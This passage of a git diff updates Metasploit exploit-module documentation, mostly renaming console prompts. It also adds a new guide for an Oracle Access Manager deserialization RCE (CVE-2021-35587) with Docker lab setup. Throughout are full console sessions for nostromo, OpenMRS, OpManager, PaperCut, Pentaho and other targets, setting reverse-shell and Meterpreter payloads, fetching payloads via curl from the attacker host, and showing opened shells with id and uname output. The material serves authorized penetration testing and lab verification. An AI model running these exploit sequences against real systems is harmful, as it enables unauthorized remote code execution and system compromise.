exploit(multi/http/nostromo_code_exec) > set LHOST 192.168.1.10 LHOST => 192.168.1.10 -msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 4444 +msf exploit(multi/http/nostromo_code_exec) > set LPORT 4444 LPORT => 4444 -msf5 exploit(multi/http/nostromo_code_exec) > run +msf exploit(multi/http/nostromo_code_exec) > run [*] Started reverse TCP handler on 192.168.1.10:4444 [*] Configuring Automatic (Linux Dropper) target @@ -62,22 +62,22 @@ meterpreter > exit nostromo 1.9.6 on OpenBSD. ``` -msf5 > use exploit/multi/http/nostromo_code_exec -msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 192.168.1.9 +msf > use exploit/multi/http/nostromo_code_exec +msf exploit(multi/http/nostromo_code_exec) > set RHOSTS 192.168.1.9 RHOSTS => 192.168.1.9 -msf5 exploit(multi/http/nostromo_code_exec) > set RPORT 8001 +msf exploit(multi/http/nostromo_code_exec) > set RPORT 8001 RPORT => 8001 -msf5 exploit(multi/http/nostromo_code_exec) > check +msf exploit(multi/http/nostromo_code_exec) > check [*] 192.168.1.9:8001 - The target appears to be vulnerable. -msf5 exploit(multi/http/nostromo_code_exec) > set target 0 +msf exploit(multi/http/nostromo_code_exec) > set target 0 target => 0 -msf5 exploit(multi/http/nostromo_code_exec) > set payload cmd/unix/reverse_perl +msf exploit(multi/http/nostromo_code_exec) > set payload cmd/unix/reverse_perl payload => cmd/unix/reverse_perl -msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 192.168.1.10 +msf exploit(multi/http/nostromo_code_exec) > set LHOST 192.168.1.10 LHOST => 192.168.1.10 -msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 4444 +msf exploit(multi/http/nostromo_code_exec) > set LPORT 4444 LPORT => 4444 -msf5 exploit(multi/http/nostromo_code_exec) > run +msf exploit(multi/http/nostromo_code_exec) > run [*] Started reverse TCP handler on 192.168.1.10:4444 [*] Configuring Automatic (Unix In-Memory) target diff --git a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md index cca0bc0ae0451..42dc7e27d2822 100644 --- a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md +++ b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md @@ -24,14 +24,14 @@ ## Verification Steps ``` - msf5 > use exploit/multi/http/october_upload_bypass_exec - msf5 exploit(multi/http/october_upload_bypass_exec) > set rhosts 10.10.10.16 + msf > use exploit/multi/http/october_upload_bypass_exec + msf exploit(multi/http/october_upload_bypass_exec) > set rhosts 10.10.10.16 rhosts => 10.10.10.16 - msf5 exploit(multi/http/october_upload_bypass_exec) > setg verbose true + msf exploit(multi/http/october_upload_bypass_exec) > setg verbose true verbose => true - msf5 exploit(multi/http/october_upload_bypass_exec) > set lhost 10.10.14.8 + msf exploit(multi/http/october_upload_bypass_exec) > set lhost 10.10.14.8 lhost => 10.10.14.8 - msf5 exploit(multi/http/october_upload_bypass_exec) > run + msf exploit(multi/http/october_upload_bypass_exec) > run [*] Started reverse TCP handler on 10.10.14.8:4444 [+] Token for login : 3ySsc8d8VNMm2V8x3Ns4cay05bwhRxnoIkQjRnBP diff --git a/documentation/modules/exploit/multi/http/open_web_analytics_rce.md b/documentation/modules/exploit/multi/http/open_web_analytics_rce.md index 7ac1d5524ee91..0c2d51a00a0a8 100644 --- a/documentation/modules/exploit/multi/http/open_web_analytics_rce.md +++ b/documentation/modules/exploit/multi/http/open_web_analytics_rce.md @@ -55,11 +55,11 @@ checked for cache files with the `temp_passkey` value in it. ## Scenarios ### Version 1.7.3 using docker deployment from above ``` -msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1 +msf exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1 +msf exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1 LHOST => 172.22.0.1 -msf6 exploit(multi/http/open_web_analytics_rce) > run +msf exploit(multi/http/open_web_analytics_rce) > run [*] Started reverse TCP handler on 172.22.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315.md b/documentation/modules/exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315.md index 943856b49c385..b06341fea8509 100644 --- a/documentation/modules/exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315.md +++ b/documentation/modules/exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315.md @@ -34,7 +34,7 @@ Follow installation instructions [here](https://download.igniterealtime.org/open - [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings ``` -msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > options +msf exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > options Module options (exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315): @@ -87,7 +87,7 @@ The uripath to the `Openfire Admin Console`. Default set to `/` which is the sta ## Scenarios ### Ubuntu 22.04 - Openfire 4.7.0 - java/meterpreter/reverse_tcp ``` -msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit +msf exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -115,7 +115,7 @@ meterpreter > ``` ### Windows Server 2019 Datacenter - Openfire 4.7.3 - java/shell/reverse_tcp ``` -msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit +msf exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/openmrs_deserialization.md b/documentation/modules/exploit/multi/http/openmrs_deserialization.md index 418a03c4298b5..c7321e472de54 100644 --- a/documentation/modules/exploit/multi/http/openmrs_deserialization.md +++ b/documentation/modules/exploit/multi/http/openmrs_deserialization.md @@ -29,14 +29,14 @@ ### OpenMRS Platform `v2.1.2` ``` - msf5 > use exploit/multi/http/openmrs_deserialization - msf5 exploit(multi/http/openmrs_deserialization) > set rhosts 192.168.37.176 + msf > use exploit/multi/http/openmrs_deserialization + msf exploit(multi/http/openmrs_deserialization) > set rhosts 192.168.37.176 rhosts => 192.168.37.176 - msf5 exploit(multi/http/openmrs_deserialization) > set targeturi /openmrs-standalone + msf exploit(multi/http/openmrs_deserialization) > set targeturi /openmrs-standalone targeturi => /openmrs-standalone - msf5 exploit(multi/http/openmrs_deserialization) > check + msf exploit(multi/http/openmrs_deserialization) > check [*] 192.168.37.176:8081 - The target appears to be vulnerable. OpenMRS platform version: 2.1.2 - msf5 exploit(multi/http/openmrs_deserialization) > run + msf exploit(multi/http/openmrs_deserialization) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Target is running OpenMRS diff --git a/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md b/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md index 3490f38a1155a..ed031420d0050 100644 --- a/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md +++ b/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md @@ -77,19 +77,19 @@ correct vulnerability. ### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.328 ``` -msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization +msf > use exploit/multi/http/opmanager_sumpdu_deserialization [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.96 +msf exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.96 RHOSTS => 192.168.159.96 -msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell +msf exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell TARGET => Windows PowerShell -msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128 +msf exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check +msf exploit(multi/http/opmanager_sumpdu_deserialization) > check [*] 192.168.159.96:8060 - The target appears to be vulnerable. -msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit +msf exploit(multi/http/opmanager_sumpdu_deserialization) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/oracle_access_manager_rce_cve_2021_35587.md b/documentation/modules/exploit/multi/http/oracle_access_manager_rce_cve_2021_35587.md new file mode 100644 index 0000000000000..b2784b22ef23d --- /dev/null +++ b/documentation/modules/exploit/multi/http/oracle_access_manager_rce_cve_2021_35587.md @@ -0,0 +1,249 @@ +## Vulnerable Application +This module exploits an unauthenticated deserialization of untrusted data vulnerability in the OpenSSO +Agent component of the Oracle Access Manager (OAM) product. The affected product versions are 11.1.2.3.0, +12.2.1.3.0, and 12.2.1.4.0. + +## Testing +To install a vulnerable instance of OAM 12.2.1.4.0, you can use Docker image from this +[Oracle Container Registry](https://container-registry.oracle.com/ords/ocr/ba/middleware/oam), and follow this [tutorial](https://docs.oracle.com/en/middleware/idm/access-manager/12.2.1.4/tutorial-oam-docker/). + +An overview of the steps are shown below, however we recommend you follow the above tutorial for a complete +understanding of the process. + +Login to the Oracle container registry and pull down the OAM image. Note, you will need to sign in and accept the EULA +via your browser first. You will also need an Oracle DB instance, we used the `banglamon/oracle193db` image. You will +need to create a bridged network for the container to use. + +``` +docker login container-registry.oracle.com +docker pull container-registry.oracle.com/middleware/oam:12.2.1.4.0 +docker pull banglamon/oracle193db:19.3.0-ee +docker network create -d bridge OamNET +``` + +Bring up the database container (This can take a few minutes). + +``` +mkdir /opt/oracle/ +mkdir /opt/oracle/db/ +docker run -d --name oracle19db --network=OamNET -p 1521:1521 -e ORACLE_SID=SID -e ORACLE_PDB=PDB_TEST -e ORACLE_PWD=Testing12345 -v /opt/oracle/db:/opt/oracle/oradata banglamon/oracle193db:19.3.0-ee + +This command can take a few minutes (nearly 20 min in my case). You can watch the creation process by running `docker container logs oracle19db` Do not continue until it completes. + +docker exec -it oracle19db bash -c "source /home/oracle/.bashrc; sqlplus /nolog" +``` + +In the `oracle19db` containers `SQL>` prompt, you can verify the PDB exists. + +``` + SQL> conn / as sysdba + Connected. + SQL> show pdbs + + CON_ID CON_NAME OPEN MODE RESTRICTED + ---------- ------------------------------ ---------- ---------- + 2 PDB$SEED READ ONLY NO + 4 PDB_TEST READ WRITE NO +``` + +Back on the host, create a file `/opt/oracle/oam-admin.env` with the following contents. + +``` +DOMAIN_NAME=access_domain +ADMIN_USER=weblogic +ADMIN_PASSWORD=Testing12345 +ADMIN_LISTEN_HOST=oamadmin +ADMIN_LISTEN_PORT=7001 +CONNECTION_STRING=oracle19db:1521/pdb_test +RCUPREFIX=OAM01 +DB_USER=sys +DB_PASSWORD=Testing12345 +DB_SCHEMA_PASSWORD=Testing12345 +``` + +And bring up the `oamadmin` container (You can verify this has worked via `docker log`). + +``` +mkdir /opt/oracle/user_projects +chmod 777 /opt/oracle/user_projects +docker run -d -p 7001:7001 --name oamadmin --network=OamNET --env-file /opt/oracle/oam-admin.env --volume /opt/oracle/user_projects:/u01/oracle/user_projects container-registry.oracle.com/middleware/oam:12.2.1.4.0 +``` + +Create a file `/opt/oracle/oam-ms.env` with the following contents. + +``` +DOMAIN_NAME=access_domain +ADMIN_USER=weblogic +ADMIN_PASSWORD=Testing12345 +ADMIN_LISTEN_HOST=oamadmin +ADMIN_LISTEN_PORT=7001 +MANAGEDSERVER_PORT=14100 +MANAGED_SERVER_CONTAINER=true +MS_HOST=oamms +MS_NAME=oam_server1 +``` + +And bring up the `oamms` container. + +``` +docker run -d -p 14100:14100 --network=OamNET --volumes-from oamadmin --name oamms --env-file /opt/oracle/oam-ms.env container-registry.oracle.com/middleware/oam:12.2.1.4.0 "/u01/oracle/dockertools/startMS.sh" +``` + +You should now be able to reach the `oamadmin` container via a browser at: http://127.0.0.1:7001/oamconsole/faces/login.jspx + +You should now be able to reach the `oamms` container via a browser at: http://127.0.0.1:14100/oam/pages/login.jsp + +The `oamms` container is what this exploit targets. + +## Verification Steps +1. Start msfconsole +2. `use exploit/multi/http/oracle_access_manager_rce_cve_2021_35587` +3. `set TARGET 0` +4. `set RHOST ` +5. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp` +6. `set LHOST eth0` +7. `set LPORT 4444` +8. `check` +9. `exploit` + +## Scenarios + +### Linux Command + +``` +msf > use exploit/multi/http/oracle_access_manager_rce_cve_2021_35587 +[*] Using configured payload cmd/linux/https/x64/meterpreter_reverse_tcp +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > set TARGET 0 +TARGET => 0 +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > set PAYLOAD cmd/linux/https/x64/meterpreter_reverse_tcp +PAYLOAD => cmd/linux/https/x64/meterpreter_reverse_tcp +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > set RHOSTS 192.168.86.70 +RHOSTS => 192.168.86.70 +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > set LHOST eth0 +LHOST => eth0 +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > set LPORT 4444 +LPORT => 4444 +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > show options + +Module options (exploit/multi/http/oracle_access_manager_rce_cve_2021_35587): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.70 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 14100 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /oam/ yes The base path to the OAM application + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/https/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_CHECK_CERT false yes Check SSL certificate + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Pytho + n variant also Python ≥3.8 (Accepted: none, bash, python3.8+) + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + When FETCH_FILELESS is false: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_FILENAME JLIwdQAt no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > check +[*] 192.168.86.70:14100 - The target appears to be vulnerable. Oracle Access Manager 12.2.1.4.0. +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Oracle Access Manager 12.2.1.4.0. +[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.70:49264) at 2025-04-01 12:34:15 +0100 + +meterpreter > getuid +Server username: oracle +meterpreter > sysinfo +Computer : 172.18.0.4 +OS : Oracle 7.9 (Linux 6.5.0-14-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > pwd +/u01/oracle/user_projects/domains/access_domain +meterpreter > +``` + +### Unix Command + +``` +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > unset Payload +Unsetting Payload... +[!] Variable "Payload" unset - but will use a default value still. If this is not desired, set it to a new value or attempt to clear it with set --clear Payload +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > set target 2 +target => 2 +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > show options + +Module options (exploit/multi/http/oracle_access_manager_rce_cve_2021_35587): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.70 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 14100 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /oam/ yes The base path to the OAM application + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 2 Unix Command + + + +View the full module info with the info, or info -d command. + +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > check +[*] 192.168.86.70:14100 - The target appears to be vulnerable. Oracle Access Manager 12.2.1.4.0. +msf exploit(multi/http/oracle_access_manager_rce_cve_2021_35587) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Oracle Access Manager 12.2.1.4.0. +[*] Command shell session 2 opened (192.168.86.122:4444 -> 192.168.86.70:55776) at 2025-04-02 15:23:35 +0100 + +id +uid=1000(oracle) gid=1000(oracle) groups=1000(oracle) +uname -a +Linux 03b1805a74e3 6.8.0-57-generic #59~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Mar 19 17:07:41 UTC 2 x86_64 x86_64 x86_64 GNU/Linux +pwd +/u01/oracle/user_projects/domains/access_domain +``` diff --git a/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md index e22974f3f801f..c7faad6b7fdc1 100644 --- a/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md +++ b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md @@ -75,15 +75,15 @@ Number of seconds the web server will wait before termination. Default is 10. ### Tested on Linux x64 with PaperCut NG Version 22.0.8.65201 ``` -msf6 > use exploit/multi/http/papercut_ng_auth_bypass +msf > use exploit/multi/http/papercut_ng_auth_bypass [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +msf exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +msf exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 RHOSTS => 10.0.4.101 -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +msf exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 LHOST => 10.0.4.101 -msf6 exploit(multi/http/papercut_ng_auth_bypass) > run +msf exploit(multi/http/papercut_ng_auth_bypass) > run [-] Handler failed to bind to 10.0.4.101:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444 @@ -111,15 +111,15 @@ Note: Sandboxing is enabled by default in this version, scripting must be enable ### Tested on Linux x64 with PaperCut NG Version 19.2.7.62200 ``` -msf6 > use exploit/multi/http/papercut_ng_auth_bypass +msf > use exploit/multi/http/papercut_ng_auth_bypass [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +msf exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +msf exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 RHOSTS => 10.0.4.101 -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +msf exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 LHOST => 10.0.4.101 -msf6 exploit(multi/http/papercut_ng_auth_bypass) > run +msf exploit(multi/http/papercut_ng_auth_bypass) > run [-] Handler failed to bind to 10.0.4.101:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444 @@ -147,15 +147,15 @@ Note: Sandboxing is enabled by default in this version, scripting must be enable ### Tested on Linux x64 with PaperCut NG Version 18.3.9.49588d ``` -msf6 > use exploit/multi/http/papercut_ng_auth_bypass +msf > use exploit/multi/http/papercut_ng_auth_bypass [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +msf exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +msf exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 RHOSTS => 10.0.4.101 -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +msf exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 LHOST => 10.0.4.101 -msf6 exploit(multi/http/papercut_ng_auth_bypass) > run +msf exploit(multi/http/papercut_ng_auth_bypass) > run [-] Handler failed to bind to 10.0.4.101:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444 @@ -174,15 +174,15 @@ meterpreter > ### Tested on Linux x64 with PaperCut NG Version 16.4.39159 ``` -msf6 > use exploit/multi/http/papercut_ng_auth_bypass +msf > use exploit/multi/http/papercut_ng_auth_bypass [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +msf exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +msf exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 RHOSTS => 10.0.4.101 -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +msf exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 LHOST => 10.0.4.101 -msf6 exploit(multi/http/papercut_ng_auth_bypass) > run +msf exploit(multi/http/papercut_ng_auth_bypass) > run [-] Handler failed to bind to 10.0.4.101:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444 @@ -202,15 +202,15 @@ Note: The 'Form0' parameter for version 16 and lower does not take an additional ### Tested on Linux x64 with PaperCut NG Version 14.3.30457 ``` -msf6 > use exploit/multi/http/papercut_ng_auth_bypass +msf > use exploit/multi/http/papercut_ng_auth_bypass [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +msf exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +msf exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 RHOSTS => 10.0.4.101 -msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +msf exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 LHOST => 10.0.4.101 -msf6 exploit(multi/http/papercut_ng_auth_bypass) > run +msf exploit(multi/http/papercut_ng_auth_bypass) > run [-] Handler failed to bind to 10.0.4.101:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444 diff --git a/documentation/modules/exploit/multi/http/pentaho_business_server_authbypass_and_ssti.md b/documentation/modules/exploit/multi/http/pentaho_business_server_authbypass_and_ssti.md index 21be3c987cb48..edb526c19d7c4 100644 --- a/documentation/modules/exploit/multi/http/pentaho_business_server_authbypass_and_ssti.md +++ b/documentation/modules/exploit/multi/http/pentaho_business_server_authbypass_and_ssti.md @@ -41,15 +41,15 @@ Business server. Once installation completes it will ask if you would like to la ### Windows Server 2022 pentaho-business-analytics-9.3.0.0-428-x64.exe with Metasploit Payload ``` -msf6 > use exploit/multi/http/pentaho_business_server_authbypass_and_ssti +msf > use exploit/multi/http/pentaho_business_server_authbypass_and_ssti [*] Using configured payload cmd/unix/reverse_openssl -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set RHOST 192.168.204.142 +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set RHOST 192.168.204.142 RHOST => 192.168.204.142 -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set LHOST 192.168.204.128 +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set LHOST 192.168.204.128 LHOST => 192.168.204.128 -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set TARGET 3 +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set TARGET 3 TARGET => 3 -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > show options +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > show options Module options (exploit/multi/http/pentaho_business_server_authbypass_and_ssti): @@ -94,9 +94,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > check +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > check [*] 192.168.204.142:8080 - The target appears to be vulnerable. -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > exploit +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > exploit [*] Started reverse TCP handler on 192.168.204.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -328,15 +328,15 @@ meterpreter > ### Windows 11 22H2 pentaho-business-analytics-9.3.0.0-428-x64.exe ``` -msf6 > use multi/http/pentaho_business_server_authbypass_and_ssti +msf > use multi/http/pentaho_business_server_authbypass_and_ssti [*] Using configured payload cmd/unix/reverse_openssl -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set rhosts 172.16.199.138 +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set rhosts 172.16.199.138 rhosts => 172.16.199.138 -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set lhost 172.16.199.1 +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set target 2 +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set target 2 target => 2 -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > options +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > options Module options (exploit/multi/http/pentaho_business_server_authbypass_and_ssti): @@ -379,7 +379,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > run +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -398,15 +398,15 @@ OS Version: 10.0.22621 N/A Build 22621 ### Mac OS X Catalina pentaho-business-analytics-9.3.0.0-428-x64.app ``` -msf6 > use multi/http/pentaho_business_server_authbypass_and_ssti +msf > use multi/http/pentaho_business_server_authbypass_and_ssti [*] Using configured payload cmd/unix/reverse_openssl -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set rhosts 172.16.199.132 +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set rhosts 172.16.199.132 rhosts => 172.16.199.132 -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set lhost 172.16.199.1 +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set payload cmd/unix/reverse_python +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > set payload cmd/unix/reverse_python payload => cmd/unix/reverse_python -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > options +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > options Module options (exploit/multi/http/pentaho_business_server_authbypass_and_ssti): @@ -449,7 +449,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > run +msf exploit(multi/http/pentaho_business_server_authbypass_and_ssti) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -461,4 +461,4 @@ id uid=501(msfuser) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) uname -a Darwin msfusers-Mac.local 19.3.0 Darwin Kernel Version 19.3.0: Thu Jan 9 20:58:23 PST 2020; root:xnu-6153.81.5~1/RELEASE_X86_64 x86_64 -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/multi/http/pgadmin_query_tool_authenticated.md 